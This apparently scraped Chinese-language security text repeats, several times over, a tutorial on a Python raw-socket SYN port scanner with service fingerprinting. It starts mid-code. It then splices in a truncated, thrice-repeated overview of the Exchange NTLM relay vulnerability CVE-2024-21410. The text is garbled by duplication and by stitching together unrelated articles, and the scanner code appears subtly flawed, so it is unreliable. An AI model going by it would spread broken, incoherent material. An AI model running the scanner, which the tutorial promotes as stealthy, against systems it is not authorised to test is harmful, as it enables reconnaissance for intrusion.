          pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton('192.168.1.102'), socket.inet_aton(target_ip), 0, socket.IPPROTO_TCP, len(tcp_header))
          tcp_checksum = calculate_checksum(pseudo_header + tcp_header)
          tcp_header = tcp_header[:16] + struct.pack('!H', tcp_checksum) + tcp_header[18:]
  
          #  发送 SYN 数据包
          packet = ip_header + tcp_header
          raw_socket.sendto(packet, (target_ip, port))
  
          #  接收响应
          recv_packet = raw_socket.recvfrom(65535)
          ip_header_reply = recv_packet[0][0:20]
          ip_header_unpack = struct.unpack('!BBHHHBBHLL', ip_header_reply)
          ip_protocol_reply = ip_header_unpack[6]
          tcp_header_reply = recv_packet[0][ip_header_unpack[2]:ip_header_unpack[2]+20]
          tcp_header_unpack_reply = struct.unpack('!HHLLBBHHH', tcp_header_reply)
          tcp_flags_reply = tcp_header_unpack_reply[5]
  
          # 判断端口状态
          if tcp_flags_reply & 0x12 == 0x12:
              return "open"
          elif tcp_flags_reply & 0x14 == 0x14:
              return "closed"
          else:
              return "filtered"
  
      except socket.timeout:
          return "filtered"
      except socket.error:
          return "error"
      finally:
          if 'raw_socket' in locals():
              raw_socket.close()
  
  def calculate_checksum(packet):
      """计算 IP/TCP 头部校验和"""
      if len(packet) % 2 != 0:
          packet += b'\0'
      res = sum(array.unpack("!H", packet[i:i+2])[0] for i in range(0, len(packet), 2))
      res = (res >> 16) + (res & 0xffff)
      res += res >> 16
      return (~res) & 0xffff
  

2.2 服务指纹识别技术 (HTTP 服务为例)

服务指纹识别旨在识别服务类型和版本。常用技术包括 Banner Grabbing、协议分析、应用层探测，并依赖服务指纹数据库。

1. 引言：现代网络扫描器的重要性

网络扫描器是安全工作中基础且强大的工具。理解现代扫描器技术，能更好应对网络安全挑战。现代扫描器需具备：高速扫描、精准识别、深度检测、规避检测、灵活扩展等特性。

本文将剖析现代扫描器原理，并实践自制 Python SYN 扫描器和服务指纹识别，助您理解底层技术，提升安全工具开发技能。

2. 现代网络扫描器架构与核心原理

现代扫描器是复杂系统，核心架构包括：扫描引擎、服务指纹识别模块、漏洞检测模块、任务管理、配置管理、用户界面、数据存储等组件。

2.1 核心扫描技术：SYN 扫描

原理: SYN 扫描利用 TCP 三次握手，只发 SYN 包，不完成三次握手。

• 扫描过程: 发送 SYN 包 -> 收 SYN-ACK (开放) 或 RST (关闭)。

• 优势: 快速、隐蔽、准确。

• 代码实现 (Python Raw Socket):

  import socket
  import struct
  import time
  import random
  import array
  
  def syn_scan_port(target_ip, port):
      """SYN 扫描单个端口"""
      try:
          #  创建 Raw Socket
          raw_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
          raw_socket.settimeout(2)
  
          #  构造 IP 头部
          ip_header = struct.pack('!BBHHHBBHLL', 0x45, 0, 20+20, random.randint(1, 65535), 0, 64, socket.IPPROTO_TCP, 0, socket.inet_aton('192.168.1.102'), socket.inet_aton(target_ip))
  
          #  构造 TCP 头部
          tcp_header = struct.pack('!HHLLBBHHH', random.randint(1024, 65535), port, 0, 0, 5 << 4 | 0, 0, 0, 0, 0)
          tcp_syn_flags = 0x02
          tcp_header_list = list(struct.unpack('!HHLLBBHHH', tcp_header))
          tcp_header_list[4] = (tcp_header_list[4] | tcp_syn_flags)
          tcp_header = struct.pack('!HHLLBBHHH', *tcp_header_list)
  
          #  计算校验和
          ip_checksum = calculate_checksum(ip_header)
          ip_header = ip_header[:10] + struct.pack('!H', ip_checksum) + ip_header[12:]
          pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton('192.168.1.102'), socket.inet_aton(target_ip), 0, socket.IPPROTO_TCP, len(tcp_header))
          tcp_checksum = calculate_checksum(pseudo_header + tcp_header)
          tcp_header = tcp_header[:16] + struct.pack('!H', tcp_checksum) + tcp_header[18:]
  
          #  发送 SYN 数据包
          packet = ip_header + tcp_header
          raw_socket.sendto(packet, (target_ip, port))
  
          #  接收响应
          recv_packet = raw_socket.recvfrom(65535)
          ip_header_reply = recv_packet[0][0:20]
          ip_header_unpack = struct.unpack('!BBHHHBBHLL', ip_header_reply)
          ip_protocol_reply = ip_header_unpack[6]
          tcp_header_reply = recv_packet[0][ip_header_unpack[2]:ip_header_unpack[2]+20]
          tcp_header_unpack_reply = struct.unpack('!HHLLBBHHH', tcp_header_reply)
          tcp_flags_reply = tcp_header_unpack_reply[5]
  
          # 判断端口状态
          if tcp_flags_reply & 0x12 == 0x12:
              return "open"
          elif tcp_flags_reply & 0x14 == 0x14:
              return "closed"
          else:
              return "filtered"
  
      except socket.timeout:
          return "filtered"
      except socket.error:
          return "error"
      finally:
          if 'raw_socket' in locals():
              raw_socket.close()
  
  def calculate_checksum(packet):
      """计算 IP/TCP 头部校验和"""
      if len(packet) % 2 != 0:
          packet += b'\0'
      res = sum(array.unpack("!H", packet[i:i+2])[0] for i in range(0, len(packet), 2))
      res = (res >> 16) + (res & 0xffff)
      res += res >> 16
      return (~res) & 0xffff
  

2.2 服务指纹识别技术 (HTTP 服务为例)

服务指纹识别旨在识别服务类型和版本。常用技术包括 Banner Grabbing、协议分析、应用层探测，并依赖服务指纹数据库。

1. 引言：现代网络扫描器的重要性

网络扫描器是安全工作中基础且强大的工具。理解现代扫描器技术，能更好应对网络安全挑战。现代扫描器需具备：高速扫描、精准识别、深度检测、规避检测、灵活扩展等特性。

本文将剖析现代扫描器原理，并实践自制 Python SYN 扫描器和服务指纹识别，助您理解底层技术，提升安全工具开发技能。

2. 现代网络扫描器架构与核心原理

现代扫描器是复杂系统，核心架构包括：扫描引擎、服务指纹识别模块、漏洞检测模块、任务管理、配置管理、用户界面、数据存储等组件。

2.1 核心扫描技术：SYN 扫描

原理: SYN 扫描利用 TCP 三次握手，只发 SYN 包，不完成三次握手。

• 扫描过程: 发送 SYN 包 -> 收 SYN-ACK (开放) 或 RST (关闭)。

• 优势: 快速、隐蔽、准确。

• 代码实现 (Python Raw Socket):

  import socket
  import struct
  import time
  import random
  import array
  
  def syn_scan_port(target_ip, port):
      """SYN 扫描单个端口"""
      try:
          #  创建 Raw Socket
          raw_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
          raw_socket.settimeout(2)
  
          #  构造 IP 头部
          ip_header = struct.pack('!BBHHHBBHLL', 0x45, 0, 20+20, random.randint(1, 65535), 0, 64, socket.IPPROTO_TCP, 0, socket.inet_aton('192.168.1.102'), socket.inet_aton(target_ip))
  
          #  构造 TCP 头部
          tcp_header = struct.pack('!HHLLBBHHH', random.randint(1024, 65535), port, 0, 0, 5 << 4 | 0, 0, 0, 0, 0)
          tcp_syn_flags = 0x02
          tcp_header_list = list(struct.unpack('!HHLLBBHHH', tcp_header))
          tcp_header_list[4] = (tcp_header_list[4] | tcp_syn_flags)
          tcp_header = struct.pack('!HHLLBBHHH', *tcp_header_list)
  
          #  计算校验和
          ip_checksum = calculate_checksum(ip_header)
          ip_header = ip_header[:10] + struct.pack('!H', ip_checksum) + ip_header[12:]
          pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton('192.168.1.102'), socket.inet_aton(target_ip), 0, socket.IPPROTO_TCP, len(tcp_header))
          tcp_checksum = calculate_checksum(pseudo_header + tcp_header)
          tcp_header = tcp_header[:16] + struct.pack('!H', tcp_checksum) + tcp_header[18:]
  
          #  发送 SYN 数据包
          packet = ip_header + tcp_header
          raw_socket.sendto(packet, (target_ip, port))
  
          #  接收响应
          recv_packet = raw_socket.recvfrom(65535)
          ip_header_reply = recv_packet[0][0:20]
          ip_header_unpack = struct.unpack('!BBHHHBBHLL', ip_header_reply)
          ip_protocol_reply = ip_header_unpack[6]
          tcp_header_reply = recv_packet[0][ip_header_unpack[2]:ip_header_unpack[2]+20]
          tcp_header_unpack_reply = struct.unpack('!HHLLBBHHH', tcp_header_reply)
          tcp_flags_reply = tcp_header_unpack_reply[5]
  
          # 判断端口状态
          if tcp_flags_reply & 0x12 == 0x12:
              return "open"
          elif tcp_flags_reply & 0x14 == 0x14:
              return "closed"
          else:
              return "filtered"
  
      except socket.timeout:
          return "filtered"
      except socket.error:
          return "error"
      finally:
          if 'raw_socket' in locals():
              raw_socket.close()
  
  def calculate_checksum(packet):
      """计算 IP/TCP 头部校验和"""
      if len(packet) % 2 != 0:
          packet += b'\0'
      res = sum(array.unpack("!H", packet[i:i+2])[0] for i in range(0, len(packet), 2))
      res = (res >> 16) + (res & 0xffff)
      res += res >> 16
      return (~res) & 0xffff
  

2.2 服务指纹识别技术 (HTTP 服务为例)

服务指纹识别旨在识别服务类型和版本。常用技术包括 Banner Grabbing、协议分析、应用层探测，并依赖服务指纹数据库。

1. 引言：现代网络扫描器的重要性

网络扫描器是安全工作中基础且强大的工具。理解现代扫描器技术，能更好应对网络安全挑战。现代扫描器需具备：高速扫描、精准识别、深度检测、规避检测、灵活扩展等特性。

本文将剖析现代扫描器原理，并实践自制 Python SYN 扫描器和服务指纹识别，助您理解底层技术，提升安全工具开发技能。

2. 现代网络扫描器架构与核心原理

现代扫描器是复杂系统，核心架构包括：扫描引擎、服务指纹识别模块、漏洞检测模块、任务管理、配置管理、用户界面、数据存储等组件。

2.1 核心扫描技术：SYN 扫描

原理: SYN 扫描利用 TCP 三次握手，只发 SYN 包，不完成三次握手。

• 扫描过程: 发送 SYN 包 -> 收 SYN-ACK (开放) 或 RST (关闭)。

• 优势: 快速、隐蔽、准确。

• 代码实现 (Python Raw Socket):

  import socket
  import struct
  import time
  import random
  import array
  
  def syn_scan_port(target_ip, port):
      """SYN 扫描单个端口"""
      try:
          #  创建 Raw Socket
          raw_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
          raw_socket.settimeout(2)
  
          #  构造 IP 头部
          ip_header = struct.pack('!BBHHHBBHLL', 0x45, 0, 20+20, random.randint(1, 65535), 0, 64, socket.IPPROTO_TCP, 0, socket.inet_aton('192.168.1.102'), socket.inet_aton(target_ip))
  
          #  构造 TCP 头部
          tcp_header = struct.pack('!HHLLBBHHH', random.randint(1024, 65535), port, 0, 0, 5 << 4 | 0, 0, 0, 0, 0)
          tcp_syn_flags = 0x02
          tcp_header_list = list(struct.unpack('!HHLLBBHHH', tcp_header))
          tcp_header_list[4] = (tcp_header_list[4] | tcp_syn_flags)
          tcp_header = struct.pack('!HHLLBBHHH', *tcp_header_list)
  
          #  计算校验和
          ip_checksum = calculate_checksum(ip_header)
          ip_header = ip_header[:10] + struct.pack('!H', ip_checksum) + ip_header[12:]
          pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton('192.168.1.102'), socket.inet_aton(target_ip), 0, socket.IPPROTO_TCP, len(tcp_header))
          tcp_checksum = calculate_checksum(pseudo_header + tcp_header)
          tcp_header = tcp_header[:16] + struct.pack('!H', tcp_checksum) + tcp_header[18:]
  
          #  发送 SYN 数据包
          packet = ip_header + tcp_header
          raw_socket.sendto(packet, (target_ip, port))
  
          #  接收响应
          recv_packet = raw_socket.recvfrom(65535)
          ip_header_reply = recv_packet[0][0:20]
          ip_header_unpack = struct.unpack('!BBHHHBBHLL', ip_header_reply)
          ip_protocol_reply = ip_header_unpack[6]
          tcp_header_reply = recv_packet[0][ip_header_unpack[2]:ip_header_unpack[2]+20]
          tcp_header_unpack_reply = struct.unpack('!HHLLBBHHH', tcp_header_reply)
          tcp_flags_reply = tcp_header_unpack_reply[5]
  
          # 判断端口状态
          if tcp_flags_reply & 0x12 == 0x12:
              return "open"
          elif tcp_flags_reply & 0x14 == 0x14:
              return "closed"
          else:
              return "filtered"
  
      except socket.timeout:
          return "filtered"
      except socket.error:
          return "error"
      finally:
          if 'raw_socket' in locals():
              raw_socket.close()
  
  def calculate_checksum(packet):
      """计算 IP/TCP 头部校验和"""
      if len(packet) % 2 != 0:
          packet += b'\0'
      res = sum(array.unpack("!H", packet[i:i+2])[0] for i in range(0, len(packet), 2))
      res = (res >> 16) + (res & 0xffff)
      res += res >> 16
      return (~res) & 0xffff
  

2.2 服务指纹识别技术 (HTTP 服务为例)

服务指纹识别旨在识别服务类型和版本。常用技术包括 Banner Grabbing、协议分析、应用层探测，并依赖服务指纹数据库。

1. 引言：现代网络扫描器的重要性

网络扫描器是安全工作中基础且强大的工具。理解现代扫描器技术，能更好应对网络安全挑战。现代扫描器需具备：高速扫描、精准识别、深度检测、规避检测、灵活扩展等特性。

本文将剖析现代扫描器原理，并实践自制 Python SYN 扫描器和服务指纹识别，助您理解底层技术，提升安全工具开发技能。

2. 现代网络扫描器架构与核心原理

现代扫描器是复杂系统，核心架构包括：扫描引擎、服务指纹识别模块、漏洞检测模块、任务管理、配置管理、用户界面、数据存储等组件。

2.1 核心扫描技术：SYN 扫描

原理: SYN 扫描利用 TCP 三次握手，只发 SYN 包，不完成三次握手。

• 扫描过程: 发送 SYN 包 -> 收 SYN-ACK (开放) 或 RST (关闭)。

• 优势: 快速、隐蔽、准确。

• 代码实现 (Python Raw Socket):

  import socket
  import struct
  import time
  import random
  import array
  
  def syn_scan_port(target_ip, port):
      """SYN 扫描单个端口"""
      try:
          #  创建 Raw Socket
          raw_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
          raw_socket.settimeout(2)
  
          #  构造 IP 头部
          ip_header = struct.pack('!BBHHHBBHLL', 0x45, 0, 20+20, random.randint(1, 65535), 0, 64, socket.IPPROTO_TCP, 0, socket.inet_aton('192.168.1.102'), socket.inet_aton(target_ip))
  
          #  构造 TCP 头部
          tcp_header = struct.pack('!HHLLBBHHH', random.randint(1024, 65535), port, 0, 0, 5 << 4 | 0, 0, 0, 0, 0)
          tcp_syn_flags = 0x02
          tcp_header_list = list(struct.unpack('!HHLLBBHHH', tcp_header))
          tcp_header_list[4] = (tcp_header_list[4] | tcp_syn_flags)
          tcp_header = struct.pack('!HHLLBBHHH', *tcp_header_list)
  
          #  计算校验和
          ip_checksum = calculate_checksum(ip_header)
          ip_header = ip_header[:10] + struct.pack('!H', ip_checksum) + ip_header[12:]
          pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton('192.168.1.102'), socket.inet_aton(target_ip), 0, socket.IPPROTO_TCP, len(tcp_header))
          tcp_checksum = calculate_checksum(pseudo_header + tcp_header)
          tcp_header = tcp_header[:16] + struct.pack('!H', tcp_checksum) + tcp_header[18:]
  
          #  发送 SYN 数据包
          packet = ip_header + tcp_header
          raw_socket.sendto(packet, (target_ip, port))
  
          #  接收响应
          recv_packet = raw_socket.recvfrom(65535)
          ip_header_reply = recv_packet[0][0:20]
          ip_header_unpack = struct.unpack('!BBHHHBBHLL', ip_header_reply)
          ip_protocol_reply = ip_header_unpack[6]
          tcp_header_reply = recv_packet[0][ip_header_unpack[2]:ip_header_unpack[2]+20]
          tcp_header_unpack_reply = struct.unpack('!HHLLBBHHH', tcp_header_reply)
          tcp_flags_reply = tcp_header_unpack_reply[5]
  
          # 判断端口状态
          if tcp_flags_reply & 0x12 == 0x12:
              return "open"
          elif tcp_flags_reply & 0x14 == 0x14:
              return "closed"
          else:
              return "filtered"
  
      except socket.timeout:
          return "filtered"
      except socket.error:
          return "error"
      finally:
          if 'raw_socket' in locals():
              raw_socket.close()
  
  def calculate_checksum(packet):
      """计算 IP/TCP 头部校验和"""
      if len(packet) % 2 != 0:
          packet += b'\0'
      res = sum(array.unpack("!H", packet[i:i+2])[0] for i in range(0, len(packet), 2))
      res = (res >> 16) + (res & 0xffff)
      res += res >> 16
      return (~res) & 0xffff
  

2.2 服务指纹识别技术 (HTTP 服务为例)

服务指纹识别旨在识别服务类型和版本。常用技术包括 Banner Grabbing、协议分析、应用层探测，并依赖服务指纹数据库。

1. 引言：现代网络扫描器的重要性

网络扫描器是安全工作中基础且强大的工具。理解现代扫描器技术，能更好应对网络安全挑战。现代扫描器需具备：高速扫描、精准识别、深度检测、规避检测、灵活扩展等特性。

本文将剖析现代扫描器原理，并实践自制 Python SYN 扫描器和服务指纹识别，助您理解底层技术，提升安全工具开发技能。

2. 现代网络扫描器架构与核心原理

现代扫描器是复杂系统，核心架构包括：扫描引擎、服务指纹识别模块、漏洞检测模块、任务管理、配置管理、用户界面、数据存储等组件。

2.1 核心扫描技术：SYN 扫描

原理: SYN 扫描利用 TCP 三次握手，只发 SYN 包，不完成三次握手。

• 扫描过程: 发送 SYN 包 -> 收 SYN-ACK (开放) 或 RST (关闭)。

• 优势: 快速、隐蔽、准确。

• 代码实现 (Python Raw Socket):

  import socket
  import struct
  import time
  import random
  import array
  
  def syn_scan_port(target_ip, port):
      """SYN 扫描单个端口"""
      try:
          #  创建 Raw Socket
          raw_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
          raw_socket.settimeout(2)
  
          #  构造 IP 头部
          ip_header = struct.pack('!BBHHHBBHLL', 0x45, 0, 20+20, random.randint(1, 65535), 0, 64, socket.IPPROTO_TCP, 0, socket.inet_aton('192.168.1.102'), socket.inet_aton(target_ip))
  
          #  构造 TCP 头部
          tcp_header = struct.pack('!HHLLBBHHH', random.randint(1024, 65535), port, 0, 0, 5 << 4 | 0, 0, 0, 0, 0)
          tcp_syn_flags = 0x02
          tcp_header_list = list(struct.unpack('!HHLLBBHHH', tcp_header))
          tcp_header_list[4] = (tcp_header_list[4] | tcp_syn_flags)
          tcp_header = struct.pack('!HHLLBBHHH', *tcp_header_list)
  
          #  计算校验和
          ip_checksum = calculate_checksum(ip_header)
          ip_header = ip_header[:10] + struct.pack('!H', ip_checksum) + ip_header[12:]
          pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton('192.168.1.102'), socket.inet_aton(target_ip), 0, socket.IPPROTO_TCP, len(tcp_header))
          tcp_checksum = calculate_checksum(pseudo_header + tcp_header)
          tcp_header = tcp_header[:16] + struct.pack('!H', tcp_checksum) + tcp_header[18:]
  
          #  发送 SYN 数据包
          packet = ip_header + tcp_header
          raw_socket.sendto(packet, (target_ip, port))
  
          #  接收响应
          recv_packet = raw_socket.recvfrom(65535)
          ip_header_reply = recv_packet[0][0:20]
          ip_header_unpack = struct.unpack('!BBHHHBBHLL', ip_header_reply)
          ip_protocol_reply = ip_header_unpack[6]
          tcp_header_reply = recv_packet[0][ip_header_unpack[2]:ip_header_unpack[2]+20]
          tcp_header_unpack_reply = struct.unpack('!HHLLBBHHH', tcp_header_reply)
          tcp_flags_reply = tcp_header_unpack_reply[5]
  
          # 判断端口状态
          if tcp_flags_reply & 0x12 == 0x12:
              return "open"
          elif tcp_flags_reply & 0x14 == 0x14:
              return "closed"
          else:
              return "filtered"
  
      except socket.timeout:
          return "filtered"
      except socket.error:
          return "error"
      finally:
          if 'raw_socket' in locals():
              raw_socket.close()
  
  def calculate_checksum(packet):
      """计算 IP/TCP 头部校验和"""
      if len(packet) % 2 != 0:
          packet += b'\0'
      res = sum(array.unpack("!H", packet[i:i+2])[0] for i in range(0, len(packet), 2))
      res = (res >> 16) + (res & 0xffff)
      res += res >> 16
      return (~res) & 0xffff
  

2.2 服务指纹识别技术 (HTTP 服务为例)

服务指纹识别旨在识别服务类型和版本。常用技术包括 Banner Grabbing、协议分析、应用层探测，并依赖服务指纹数据库。

1. 引言：现代网络扫描器的重要性

网络扫描器是安全工作中基础且强大的工具。理解现代扫描器技术，能更好应对网络安全挑战。现代扫描器需具备：高速扫描、精准识别、深度检测、规避检测、灵活扩展等特性。

本文将剖析现代扫描器原理，并实践自制 Python SYN 扫描器和服务指纹识别，助您理解底层技术，提升安全工具开发技能。

2. 现代网络扫描器架构与核心原理

现代扫描器是复杂系统，核心架构包括：扫描引擎、服务指纹识别模块、漏洞检测模块、任务管理、配置管理、用户界面、数据存储等组件。

2.1 核心扫描技术：SYN 扫描

原理: SYN 扫描利用 TCP 三次握手，只发 SYN 包，不完成三次握手。

• 扫描过程: 发送 SYN 包 -> 收 SYN-ACK (开放) 或 RST (关闭)。

• 优势: 快速、隐蔽、准确。

• 代码实现 (Python Raw Socket):

  import socket
  import struct
  import time
  import random
  import array
  
  def syn_scan_port(target_ip, port):
      """SYN 扫描单个端口"""
      try:
          #  创建 Raw Socket
          raw_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
          raw_socket.settimeout(2)
  
          #  构造 IP 头部
          ip_header = struct.pack('!BBHHHBBHLL', 0x45, 0, 20+20, random.randint(1, 65535), 0, 64, socket.IPPROTO_TCP, 0, socket.inet_aton('192.168.1.102'), socket.inet_aton(target_ip))
  
          #  构造 TCP 头部
          tcp_header = struct.pack('!HHLLBBHHH', random.randint(1024, 65535), port, 0, 0, 5 << 4 | 0, 0, 0, 0, 0)
          tcp_syn_flags = 0x02
          tcp_header_list = list(struct.unpack('!HHLLBBHHH', tcp_header))
          tcp_header_list[4] = (tcp_header_list[4] | tcp_syn_flags)
          tcp_header = struct.pack('!HHLLBBHHH', *tcp_header_list)
  
          #  计算校验和
          ip_checksum = calculate_checksum(ip_header)
          ip_header = ip_header[:10] + struct.pack('!H', ip_checksum) + ip_header[12:]
          pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton('192.168.1.102'), socket.inet_aton(target_ip), 0, socket.IPPROTO_TCP, len(tcp_header))
          tcp_checksum = calculate_checksum(pseudo_header + tcp_header)
          tcp_header = tcp_header[:16] + struct.pack('!H', tcp_checksum) + tcp_header[18:]
  
          #  发送 SYN 数据包
          packet = ip_header + tcp_header
          raw_socket.sendto(packet, (target_ip, port))
  
          #  接收响应
          recv_packet = raw_socket.recvfrom(65535)
          ip_header_reply = recv_packet[0][0:20]
          ip_header_unpack = struct.unpack('!BBHHHBBHLL', ip_header_reply)
          ip_protocol_reply = ip_header_unpack[6]
          tcp_header_reply = recv_packet[0][ip_header_unpack[2]:ip_header_unpack[2]+20]
          tcp_header_unpack_reply = struct.unpack('!HHLLBBHHH', tcp_header_reply)
          tcp_flags_reply = tcp_header_unpack_reply[5]
  
          # 判断端口状态
          if tcp_flags_reply & 0x12 == 0x12:
              return "open"
          elif tcp_flags_reply & 0x14 == 0x14:
              return "closed"
          else:
              return "filtered"
  
      except socket.timeout:
          return "filtered"
      except socket.error:
          return "error"
      finally:
          if 'raw_socket' in locals():
              raw_socket.close()
  
  def calculate_checksum(packet):
      """计算 IP/TCP 头部校验和"""
      if len(packet) % 2 != 0:
          packet += b'\0'
      res = sum(array.unpack("!H", packet[i:i+2])[0] for i in range(0, len(packet), 2))
      res = (res >> 16) + (res & 0xffff)
      res += res >> 16
      return (~res) & 0xffff
  

2.2 服务指纹识别技术 (HTTP 服务为例)

服务指纹识别旨在识别服务类型和版本。常用技术包括 Banner Grabbing、协议分析、应用层探测，并依赖服务指纹数据库。

1. 引言：现代网络扫描器的重要性

网络扫描器是安全工作中基础且强大的工具。理解现代扫描器技术，能更好应对网络安全挑战。现代扫描器需具备：高速扫描、精准识别、深度检测、规避检测、灵活扩展等特性。

本文将剖析现代扫描器原理，并实践自制 Python SYN 扫描器和服务指纹识别，助您理解底层技术，提升安全工具开发技能。

2. 现代网络扫描器架构与核心原理

现代扫描器是复杂系统，核心架构包括：扫描引擎、服务指纹识别模块、漏洞检测模块、任务管理、配置管理、用户界面、数据存储等组件。

2.1 核心扫描技术：SYN 扫描

原理: SYN 扫描利用 TCP 三次握手，只发 SYN 包，不完成三次握手。

• 扫描过程: 发送 SYN 包 -> 收 SYN-ACK (开放) 或 RST (关闭)。

• 优势: 快速、隐蔽、准确。

• 代码实现 (Python Raw Socket):

  import socket
  import struct
  import time
  import random
  import array
  
  def syn_scan_port(target_ip, port):
      """SYN 扫描单个端口"""
      try:
          #  创建 Raw Socket
          raw_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
          raw_socket.settimeout(2)
  
          #  构造 IP 头部
          ip_header = struct.pack('!BBHHHBBHLL', 0x45, 0, 20+20, random.randint(1, 65535), 0, 64, socket.IPPROTO_TCP, 0, socket.inet_aton('192.168.1.102'), socket.inet_aton(target_ip))
  
          #  构造 TCP 头部
          tcp_header = struct.pack('!HHLLBBHHH', random.randint(1024, 65535), port, 0, 0, 5 << 4 | 0, 0, 0, 0, 0)
          tcp_syn_flags = 0x02
          tcp_header_list = list(struct.unpack('!HHLLBBHHH', tcp_header))
          tcp_header_list[4] = (tcp_header_list[4] | tcp_syn_flags)
          tcp_header = struct.pack('!HHLLBBHHH', *tcp_header_list)
  
          #  计算校验和
          ip_checksum = calculate_checksum(ip_header)
          ip_header = ip_header[:10] + struct.pack('!H', ip_checksum) + ip_header[12:]
          pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton('192.168.1.102'), socket.inet_aton(target_ip), 0, socket.IPPROTO_TCP, len(tcp_header))
          tcp_checksum = calculate_checksum(pseudo_header + tcp_header)
          tcp_header = tcp_header[:16] + struct.pack('!H', tcp_checksum) + tcp_header[18:]
  
          #  发送 SYN 数据包
          packet = ip_header + tcp_header
          raw_socket.sendto(packet, (target_ip, port))
  
          #  接收响应
          recv_packet = raw_socket.recvfrom(65535)
          ip_header_reply = recv_packet[0][0:20]
          ip_header_unpack = struct.unpack('!BBHHHBBHLL', ip_header_reply)
          ip_protocol_reply = ip_header_unpack[6]
          tcp_header_reply = recv_packet[0][ip_header_unpack[2]:ip_header_unpack[2]+20]
          tcp_header_unpack_reply = struct.unpack('!HHLLBBHHH', tcp_header_reply)
          tcp_flags_reply = tcp_header_unpack_reply[5]
  
          # 判断端口状态
          if tcp_flags_reply & 0x12 == 0x12:
              return "open"
          elif tcp_flags_reply & 0x14 == 0x14:
              return "closed"
          else:
              return "filtered"
  
      except socket.timeout:
          return "filtered"
      except socket.error:
          return "error"
      finally:
          if 'raw_socket' in locals():
              raw_socket.close()
  
  def calculate_checksum(packet):
      """计算 IP/TCP 头部校验和"""
      if len(packet) % 2 != 0:
          packet += b'\0'
      res = sum(array.unpack("!H", packet[i:i+2])[0] for i in range(0, len(packet), 2))
      res = (res >> 16) + (res & 0xffff)
      res += res >> 16
      return (~res) & 0xffff
  

2.2 服务指纹识别技术 (HTTP 服务为例)

服务指纹识别旨在识别服务类型和版本。常用技术包括 Banner Grabbing、协议分析、应用层探测，并依赖服务指纹数据库。

1. 漏洞概述：CVE-2024-21410 Exchange Server 特权提升

CVE-2024-21410 是 Microsoft Exchange Server 在 2024 年 2 月安全更新中修复的一个严重特权提升漏洞。该漏洞被标记为 0day 漏洞，并且微软已确认该漏洞 已被在野利用，风险等级极高。

漏洞编号 (CVE): CVE-2024-21410

漏洞类型: 特权提升

受影响组件: Microsoft Exchange Server

严重程度: 严重

利用条件: 攻击者需要能够捕获到用户泄露的 Net-NTLMv2 哈希，并将该哈希中继到易受攻击的 Exchange Server。

漏洞危害: 成功利用此漏洞的攻击者，可以将捕获到的 Net-NTLMv2 哈希中继到 Exchange Server，并 以被中继用户的身份通过身份验证，从而获得与该用户相同的权限，可能导致敏感信息泄露、越权操作等严重安全风险。

2. 漏洞原理分析：NTLM 中继攻击与 Exchange Server

CVE-2024-21410 漏洞的核心在于 NTLM 中继攻击 (NTLM Relay Attack) 在 Microsoft Exchange Server 环境中的利用。要理解此漏洞，需要先了解 NTLM 认证机制和 NTLM 中继攻击的原理。

2.1 NTLM 认证机制简介

NTLM (NT LAN Manager) 是一种 Windows 操作系统中常用的身份验证协议。在 NTLM 认证过程中，客户端需要向服务器证明自己的身份，而无需直接发送明文密码。 NTLMv2 是 NTLM 的增强版本，安全性相对更高，但仍然存在被中继攻击的风险。

1. 漏洞概述：CVE-2024-21410 Exchange Server 特权提升

CVE-2024-21410 是 Microsoft Exchange Server 在 2024 年 2 月安全更新中修复的一个严重特权提升漏洞。该漏洞被标记为 0day 漏洞，并且微软已确认该漏洞 已被在野利用，风险等级极高。

漏洞编号 (CVE): CVE-2024-21410

漏洞类型: 特权提升

受影响组件: Microsoft Exchange Server

严重程度: 严重

利用条件: 攻击者需要能够捕获到用户泄露的 Net-NTLMv2 哈希，并将该哈希中继到易受攻击的 Exchange Server。

漏洞危害: 成功利用此漏洞的攻击者，可以将捕获到的 Net-NTLMv2 哈希中继到 Exchange Server，并 以被中继用户的身份通过身份验证，从而获得与该用户相同的权限，可能导致敏感信息泄露、越权操作等严重安全风险。

2. 漏洞原理分析：NTLM 中继攻击与 Exchange Server

CVE-2024-21410 漏洞的核心在于 NTLM 中继攻击 (NTLM Relay Attack) 在 Microsoft Exchange Server 环境中的利用。要理解此漏洞，需要先了解 NTLM 认证机制和 NTLM 中继攻击的原理。

2.1 NTLM 认证机制简介

NTLM (NT LAN Manager) 是一种 Windows 操作系统中常用的身份验证协议。在 NTLM 认证过程中，客户端需要向服务器证明自己的身份，而无需直接发送明文密码。 NTLMv2 是 NTLM 的增强版本，安全性相对更高，但仍然存在被中继攻击的风险。

1. 漏洞概述：CVE-2024-21410 Exchange Server 特权提升

CVE-2024-21410 是 Microsoft Exchange Server 在 2024 年 2 月安全更新中修复的一个严重特权提升漏洞。该漏洞被标记为 0day 漏洞，并且微软已确认该漏洞 已被在野利用，风险等级极高。

漏洞编号 (CVE): CVE-2024-21410

漏洞类型: 特权提升

受影响组件: Microsoft Exchange Server

严重程度: 严重

利用条件: 攻击者需要能够捕获到用户泄露的 Net-NTLMv2 哈希，并将该哈希中继到易受攻击的 Exchange Server。

漏洞危害: 成功利用此漏洞的攻击者，可以将捕获到的 Net-NTLMv2 哈希中继到 Exchange Server，并 以被中继用户的身份通过身份验证，从而获得与该用户相同的权限，可能导致敏感信息泄露、越权操作等严重安全风险。

2. 漏洞原理分析：NTLM 中继攻击与 Exchange Server

CVE-2024-21410 漏洞的核心在于 NTLM 中继攻击 (NTLM Relay Attack) 在 Microsoft Exchange Server 环境中的利用。要理解此漏洞，需要先了解 NTLM 认证机制和 NTLM 中继攻击的原理。

2.1 NTLM 认证机制简介

